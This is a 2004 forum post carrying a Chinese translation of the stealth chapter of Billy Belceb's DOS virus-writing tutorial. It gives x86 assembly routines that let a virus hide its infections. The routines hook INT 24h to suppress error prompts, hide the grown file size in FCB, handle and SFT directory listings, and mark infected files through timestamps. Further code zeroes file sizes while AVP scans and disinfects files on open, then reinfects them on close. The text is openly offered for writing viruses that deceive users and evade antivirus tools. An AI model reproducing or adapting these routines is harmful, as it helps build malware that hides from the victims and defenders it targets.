• 标 题:Billy Belceb病毒编写教程(DOS篇)---隐蔽(Stealth)
  • 作 者:onlyu
  • 时 间:2004年2月10日 06:24
  • 链 接:http://bbs.pediy.com

【隐蔽(Stealth)】
~~~~~~~~~~~~~~~
    什么是隐蔽?在病毒编写世界里,是指所有这些技术,使得我们隐藏病毒的感染特征,如文件大小的增长,我们执行一个程序去些一个写保护了的软盘的错误信息"Abort,Retry,Ignore",读一个消了毒的文件,文件的日期看起来没什么问题...换句话说,使用户相信一些假的东西。隐蔽还是一个病毒组织的名字(SGWW),但这是另外一段历史了:)

    % INT 24h 隐蔽 %
    ~~~~~~~~~~~~~~~~
    是的,这是一种隐蔽的方法。你可以认为它太老了,但是我相信这是在病毒里实现隐蔽的第一步。目标是在我们正在执行一个写保护了的软盘上的程序,使得病毒企图写,并且它做了,但是DOS发现了这个错误,要避免出现"Abort,Retry,Ignore"这个错误提示信息。如果使用者看到了这个信息,将会怀疑有些问题...
    这非常简单,所有我们要做的就是取代原先的INT 24h中断向量(这个中断处理严重的错误)来欺骗这个中断,代码仅仅为"mov al,3",后面跟着一个"iret"。
    让我们看看:

  mov  ax,3524h
  int  21h
  mov  word ptr [int24_off],bx
  mov  word ptr [int24_seg],es

  mov  ax,2524h
  lea  dx,int24handler
  int  21h
  [...]

 int24handler:
  mov  al,3
  iret

%目录隐蔽%
~~~~~~~~~~
    有两种类型的目录隐蔽:通过FCB和通过句柄。

  FCB 隐蔽:
    你还记得FCB的结构吗?你可以看看结构这一章,如果你已经忘了:)
    好了,让我们来看看...这里我们的目标是把病毒大小减去真正的感染的病毒的大小,你必须添加如下的代码到你的int 21h的处理:
 
  [...]
  cmp  ah,11h      ; FindFirst ( FCB )
  je  FCBstealth
  cmp  ah,12h      ; FindNext ( FCB )
  je  FCBstealth
  [...]

    然后我们创建一个过程叫FCBstealth(你也可以命名为其它的),让后放进一个假的中断调用。然后我们经常结果是否为0,如果为0,我们直接跳到中断返回处,否则,我们继续。现在我们把我们使用的寄存器(AX,BX,ES)压栈,然后我们调用INT 21h功能Ah=2Fh,把DTA的地址返回到ES:BX中。现在该是检测FCB是普通的还是扩展的时候了。通把FCB的第一个字节(在ES:[BX]中)和FFh比较,我们就知道了。如果相等,则FCB是扩展的,然后我们通过对BX加7个字节来修正它。如果它是普通的,我们保留它。现在我们经常这个文件是否已经被感染过。为了使我们的问题最简单,我将假设感染的标志是使秒数达到60(一个不可能的值)。如果它没被感染,我们跳过这个文件。现在该是减去病毒大小的时候了,和...这里我们有!FCB隐蔽!让我们看看代码:

FCB_Stealth:
  pushf
  call  dword ptr cs:[oldint21] ; Fake call to INT 21h
  or  al,al      ; Optimized cmp al,0
  jnz  error

  push  ax bx es

  mov  ah,2Fh      ; Get DTA address in ES:BX
  int  21h

  cmp  byte ptr es:[bx],0FFh  ; Is FCB extended ?
  jne  normal
  add  bx,07h      ; No, fix it
normal:
  mov  ax,es:[bx+17h]    ; Get seconds
  and  ax,1Fh      ; Unmask seconds
  xor  al,1Eh      ; Are seconds = 60 ? ( 30*2 )

  jne  not_infected    ; No, skip it

  sub  word ptr es:[bx+1Dh],virus_size ; Substract virus size
  sbb  word ptr es:[bx+1Fh],0  ; With borrow, too

not_infected:
  pop  es bx ax

error:
  retf  02

    句柄隐蔽:
    句柄是达到FCB隐蔽目的的另外一种方法。我们的目标也一样,隐藏大小(还有其它如果需要的话)...但是这个功能我们必须阻止,而我们必须改变的东西也有一点不一样(如果一样我们就使用和上面一样的代码了)
    好了,我提供给你的INT 21h 的处理代码如下:

  [...]
  cmp  ah,4Eh      ; FindFirst ( Handle )
  je  HandleStealth
  cmp  ah,4Fh      ; FindNext ( Handle )
  je  HandleStealth
  [...]

    现在,我将解释一个经典的处理隐蔽的例程。首先,我们编写一个调用旧INT 21h的假调用函数(当然要在把标志压栈后啦)。接下来,我们把要保存的寄存器保存了(AX,BX,ES)并获得ES:BX(AH=2Fh)里的DTA。我们检查是否已被感染(在ES:[BX+17h]处),如果已经被感染,我们就把文件的大小减去病毒的大小。它和上面的隐蔽的方法很类似,但是,正如你看到的,还有一些不同的东西。:)
    光有理论没有代码太无聊了:)

 HandleStealth:
  pushf
  call  dword ptr cs:[oldint21] ; Fake call to DOS API
  jc  goback      ; CF=1 if error

  push  ax bx es    ; Save registers we use

  mov  ah,2Fh      ; DTA @ ES:BX
  int  21h

  mov  ax,es:[bx+16h]    ; Get the file time
  and  ax,1Fh      ; Unmask Seconds
  xor  al,1Eh      ; 60 ? ( Compare in optimized way )
  jne  damnedpops    ; Fuck!

  sub  word ptr es:[bx+1Ah],virus_size ; Guess...
  sbb  word ptr es:[bx+1Ch],0

 damnedpops:
  pop  es bx ax    ; Get the old values

 goback:
  retf  02

%目录隐藏里的问题%
~~~~~~~~~~~~~~~~~~
    还有一些问题需要改正,为了避免使用户痛苦,我们需要检查是否有一些问题:
-压缩工具,如PKZIP,RAR,ARJ,LHA,AIN,等等。因为如果我们给它们一个不正确的大小,那它们在压缩文件的时候将会崩溃:(
-辅助工具如CHKDSK,将会不停地显示一个永不停止的错误列表,因为硬盘上文件的大小和我们显示给用户看的大小不相等:(
-病毒查杀工具如F-PROT,AVP和其它的SCUM,会保护显示可能被一个隐蔽的病毒感染的信息。
    所以,浪费一些代码来做比较为了看看这些程序中是否有一个正在运行,然后释放隐蔽并不是一个坏主意(当我们脱离危险之后,再激活)。

%中断向量隐蔽%
~~~~~~~~~~~~~~
    这种类型的隐蔽非常容易。当我们使用这种方法的时候,我们试图获得原先的向量(在安装我们自己的中断处理程序的时候需要得到它们)给请求调用的程序。对于有些事情有好处:我们的中断处理程序将总是在第一位的。让我们看看如果我们钩住了上述的中断,我们需要添加什么给INT 21h的向量呢。

  [...]
  cmp  ax,3521h    ; Get INT 21h vectors
  je  RequestINT21h
  cmp  ah,2521h    ; Put INT 21h vectors
  je  PutNewINT21h
  [...]

添加我们如下的例程:

 RequestINT21h:
  mov  bx,word ptr cs:[int21_off] ; Return in BX the old int offset
  mov  es,word ptr cs:[int21_seg] ; Return in ES the old int segment
  iret

 PutNewINT21h:
  mov  word ptr cs:[int21_seg],ds ; Put the new segment in int21_seg
  mov  word ptr cs:[int21_off],dx ;  "   "   "  offset  "  int21_off
  iret

%时间隐蔽%
~~~~~~~~~~
    这里我不能列出代码了因为这个是属于私人的东西,当你编写你的病毒的时候,它必须适合你的需要。你可以使用很多的方法来标志感染的文件...把秒设置到60,62...(不可能),使年增加100年,使秒和日期相等...获得时间和日期的方法使使用功能AX=5700h,并赋新值AX=5701h。将在CX中得到时间,在DX中得到日期(这些我们必须要中途改变以实现隐蔽的)。

%SFT隐蔽%
~~~~~~~~~
    如果你还记得SFT这个结构,在偏移地址11处,我们有一个双字用来保存文件的大小,那么所有我们需要做的使看这个文件是否已被感染,如果已经感染了,把文件的大小减去病毒的大小。让我们看一小段代码(假设感染的标志是seconds=60,并且我们已经调用了一个例程使得SFT在ES:DI中):

 Infect:
  [...]
  mov  ax,word ptr es:[di+0Dh] ; Get time
  and  al,01Fh     ; Unmask seconds
  cmp  al,01Eh     ; Seconds = 60 ?
  jnz  AintInfected    ; No, infect it

  sub  word ptr es:[di+11h],virus_size ; Yes, substract virus size
  sbb  word ptr es:[di+13h],0000h
  [...]
 AintInfected:
  [...]

    你能做的一件比较好的事情是避免AVP 3.0的扫描。首先,我们必须知道AVP是否正在运行。当AVP 3.0打开一个文件,有许多值使得我们知道它正在运行着呢(BX=5,SI=402Dh)。现在该是获得SFT的时候了,然后仅用两行代码,对于Kaspersky's son,使所有的文件大小为0:

  mov  word ptr es:[di+11h],0000h
  mov  word ptr es:[di+13h],0000h
    或者只使一个如果我们能够:)

  mov  dword ptr es:[di+11],00000000h

%在空中消毒%
~~~~~~~~~~~~
    这里我还是不能给你一些代码。它必须由你来编...但是我可以给你INT 21h的代码:

  [...]
  cmp  ah,03Dh     ; Open file
  jz  Disinfect
  cmp  ax,6C00h    ; Extended open
  jz  Disinfect
  cmp  ah,03Eh     ; Close file ( infect now!!! )
  jz  Infect
  [...]

    现在,我们必须注意一件事情...我们必须修改一些东西来编写AH=3Dh和AX=6C00h的相同例程。
1.文件名在Ah=3Dh时的DS:DX处,在AX=6C00h时的DS:SI处。
2.打开模式在AH=3Dh时的AL中,在AX=6C00h时的BL中。

    所以,我们需要编写一个例程来修改访问6C00h功能。它可能应该这样:

 Disinfect:
  cmp  ax,6C00h
  jne  Check
  cmp  dx,1
  jne  ExitDisinfection
  mov  al,bl      ; Open mode in AL
  mov  dx,si      ; File name is now in DS:DX
 Check:
  mov  ax,5700h
  int  21h      ; If we've hooked this function,
          ; we need to make a fake call! ( or
          ; use SFTs! )
  and  cl,1Fh      ; Unmask seconds
  or  cl,1Eh      ; Is it 60?
  jnz  NotInfected
  [...]

    消毒是你必须要做的一个例程。它没有FCB隐蔽那么普遍,因为在FCB隐蔽中你有很多选择。OK,我至少应该解释它是怎么工作的。
    
    给COM文件消毒:
 
    给COM文件消毒很简单。我们需要恢复原先感染改变的第一个字节(通常3个字节),恢复原先文件的时间/日期,移除病毒的主体(在"文件尾-病毒大小"偏移地址处改为文件结束)。

    给EXE文件消毒:

    这实现起来稍微有一点点难,但不难理解:)
    我们需要恢复原先的文件头,恢复时间/日期和移除文件末尾处的病毒主体。但是如果我们的病毒是经过加密的话就有问题了。你必须选择要不这几个字节不加密(就给了病毒查杀工具杀毒的方法了<g>)要不就给这些字节解密。无论如何,它还是比较简单的。

%关于隐蔽的最后讨论%
~~~~~~~~~~~~~~~~~~~~
    还有更多的隐蔽的方法,如4202隐蔽,扇区隐蔽...但是我已经解释了最简单最常用的方法。BTW,如果我们使用SFT隐蔽,那我们就不需要4202隐蔽了:)
    在某些类型的隐蔽方法中,最可怕的事情就是和某些软件不兼容,那样可能会适得其反。
    读到这里,你可能要问了:"隐蔽有用吗?"答案是一个大大的YES。这个是把病毒的感染隐藏的最好的方法:文件看起来大小没有变化,病毒查杀工具不会查到任何有用的信息(使用一个十六进制编辑器来查看蛛丝马迹同样只是浪费时间罢了),还有更多的好处。你能做的最好的事情就是当诸如CHKDSK,PKZIP之类的程序运行时释放隐蔽。所有这些只是举手之劳。